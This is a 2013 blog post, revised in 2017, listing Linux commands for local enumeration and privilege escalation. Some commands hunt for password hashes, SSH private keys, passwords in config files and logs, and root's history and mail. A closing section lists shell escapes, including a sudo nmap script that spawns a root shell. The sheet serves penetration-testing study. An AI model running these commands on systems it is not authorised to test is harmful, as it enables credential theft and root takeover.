**Local Linux Enumeration & Privilege Escalation Cheatsheet**

Posted on [June 3, 2013](https://www.rebootuser.com/?p=1623)by [owen](https://www.rebootuser.com/?author=1)

The following post lists a few Linux commands that may come in useful when trying to escalate privileges on a target system. This is generally aimed at enumeration rather than specific vulnerabilities/exploits and I realise these are just the **tip of the iceberg**in terms of what’s available.

**Revision 1.2 (Minor January 2017 update)**

**Kernel, Operating System & Device Information:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| uname -a | Print all available system information |
| uname -r | Kernel release |
| uname -n | System hostname |
| hostname | As above |
| uname -m | Linux kernel architecture (32 or 64 bit) |
| cat /proc/version | Kernel information |
| cat /etc/\*-release | Distribution information |
| cat /etc/issue | As above |
| cat /proc/cpuinfo | CPU information |
| df -a | File system information |

**Users & Groups:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| cat /etc/passwd | List all users on the system |
| cat /etc/group | List all groups on the system |
| for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null | List all uid’s and respective group memberships |
| cat /etc/shadow | Show user hashes – Privileged command |
| grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' | List all super user accounts |
| finger | Users currently logged in |
| pinky | As above |
| users | As above |
| who -a | As above |
| w | Who is currently logged in and what they’re doing |
| last | Listing of last logged on users |
| lastlog | Information on when all users last logged in |
| lastlog –u %username% | Information on when the specified user last logged in |
| lastlog |grep -v "Never" | Entire list of previously logged on users |

**User & Privilege Information:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| whoami | Current username |
| id | Current user information |
| cat /etc/sudoers | Who’s allowed to do what as root – Privileged command |
| sudo -l | Can the current user perform anything as root |
| sudo -l 2>/dev/null | grep -w 'nmap|perl|'awk'|'find'|'bash'|'sh'|'man' |'more'|'less'|'vi'|'vim'|'nc'|'netcat'|python |ruby|lua|irb' | xargs -r ls -la 2>/dev/null | Can the current user run any ‘interesting’ binaries as root and if so also display the binary permissions etc. |

**Environmental Information:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| env | Display environmental variables |
| set | As above |
| echo $PATH | Path information |
| history | Displays command history of current user |
| pwd | Print working directory, i.e. ‘where am I’ |
| cat /etc/profile | Display default system variables |
| cat /etc/shells | Display available shells |

**Interesting Files:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| find / -perm -4000 -type f 2>/dev/null | Find SUID files |
| find / -uid 0 -perm -4000 -type f 2>/dev/null | Find SUID files owned by root |
| find / -perm -2000 -type f 2>/dev/null | Find GUID files |
| find / -perm -2 -type f 2>/dev/null | Find world-writeable files |
| find / ! -path "\*/proc/\*" -perm -2 -type f -print 2>/dev/null | Find world-writeable files excluding those in /proc |
| find / -perm -2 -type d 2>/dev/null | Find word-writeable directories |
| find /home –name \*.rhosts -print 2>/dev/null | Find rhost config files |
| find /home -iname \*.plan -exec ls -la {} ; -exec cat {} 2>/dev/null ; | Find \*.plan files, list permissions and cat the file contents |
| find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null ; -exec cat {} 2>/dev/null ; | Find hosts.equiv, list permissions and cat the file contents |
| ls -ahlR /root/ | See if you can access other user directories to find interesting files |
| cat ~/.bash\_history | Show the current users’ command history |
| ls -la ~/.\*\_history | Show the current users’ various history files |
| ls -la /root/.\*\_history | Can we read root’s history files |
| ls -la ~/.ssh/ | Check for interesting ssh files in the current users’ directory |
| find / -name "id\_dsa\*" -o -name "id\_rsa\*" -o -name "known\_hosts" -o -name "authorized\_hosts" -o -name "authorized\_keys" 2>/dev/null |xargs -r ls -la | Find SSH keys/host information |
| ls -la /usr/sbin/in.\* | Check Configuration of inetd services |
| grep -l -i pass /var/log/\*.log 2>/dev/null | Check log files for keywords (‘pass’ in this example) and show positive matches |
| find /var/log -type f -exec ls -la {} ; 2>/dev/null | List files in specified directory (/var/log) |
| find /var/log -name \*.log -type f -exec ls -la {} ; 2>/dev/null | List .log files in specified directory (/var/log) |
| find /etc/ -maxdepth 1 -name \*.conf -type f -exec ls -la {} ; 2>/dev/null | List .conf files in /etc (recursive 1 level) |
| ls -la /etc/\*.conf | As above |
| find / -maxdepth 4 -name \*.conf -type f -exec grep -Hn password {} ; 2>/dev/null | Find .conf files (recursive 4 levels) and output line number where the word ‘password’ is located |
| lsof -i -n | List open files (output will depend on account privileges) |
| head /var/mail/root | Can we read roots mail |

**Service Information:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| ps aux | grep root | View services running as root |
| ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' | Lookup process binary path and permissions |
| cat /etc/inetd.conf | List services managed by inetd |
| cat /etc/xinetd.conf | As above for xinetd |
| cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null | A very ‘rough’ command to extract associated binaries from xinetd.conf and show permissions of each |
| ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null | Permissions and contents of /etc/exports (NFS) |

**Jobs/Tasks:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| crontab -l -u %username% | Display scheduled jobs for the specified user – Privileged command |
| ls -la /etc/cron\* | Scheduled jobs overview (hourly, daily, monthly etc) |
| ls -aRl /etc/cron\* | awk '$1 ~ /w.$/' 2>/dev/null | What can ‘others’ write in /etc/cron\* directories |
| top | List of current tasks |

**Networking, Routing & Communications:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| /sbin/ifconfig -a | List all network interfaces |
| cat /etc/network/interfaces | As above |
| arp -a | Display ARP communications |
| route | Display route information |
| cat /etc/resolv.conf | Show configured DNS sever addresses |
| netstat -antp | List all TCP sockets and related PIDs (-p Privileged command) |
| netstat -anup | List all UDP sockets and related PIDs (-p Privileged command) |
| iptables -L | List rules – Privileged command |
| cat /etc/services | View port numbers/services mappings |

**Programs Installed:**

|  |  |
| --- | --- |
| **Command** | **Result** |
| dpkg -l | Installed packages (Debian) |
| rpm -qa | Installed packages (Red Hat) |
| sudo -V | Sudo version – does an exploit exist? |
| httpd -v | Apache version |
| apache2 -v | As above |
| apache2ctl (or apachectl) -M | List loaded Apache modules |
| mysql --version | Installed MYSQL version details |
| psql -V | Installed Postgres version details |
| perl -v | Installed Perl version details |
| java -version | Installed Java version details |
| python --version | Installed Python version details |
| ruby -v | Installed Ruby version details |
| find / -name %program\_name% 2>/dev/null (i.e. nc, netcat, wget, nmap etc) | Locate ‘useful’ programs (netcat, wget etc) |
| which %program\_name% (i.e. nc, netcat, wget, nmap etc) | As above |
| dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc\*' 2>/dev/null| grep gcc 2>/dev/null | List available compilers |
| cat /etc/apache2/envvars 2>/dev/null |grep -i 'user|group' |awk '{sub(/.\*export /,"")}1' | Which account is Apache running as |

**Common Shell Escape Sequences:**

|  |  |
| --- | --- |
| **Command** | **Program(s)** |
| :!bash | vi, vim |
| :set shell=/bin/bash:shell | vi, vim |
| !bash | man, more, less |
| find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; | find |
| awk 'BEGIN {system("/bin/bash")}' | awk |
| --interactive | nmap |
| echo "os.execute('/bin/sh')" > exploit.nse sudo nmap --script=exploit.nse | nmap (thanks to comment by anonymous below) |
| perl -e 'exec "/bin/bash";' | Perl |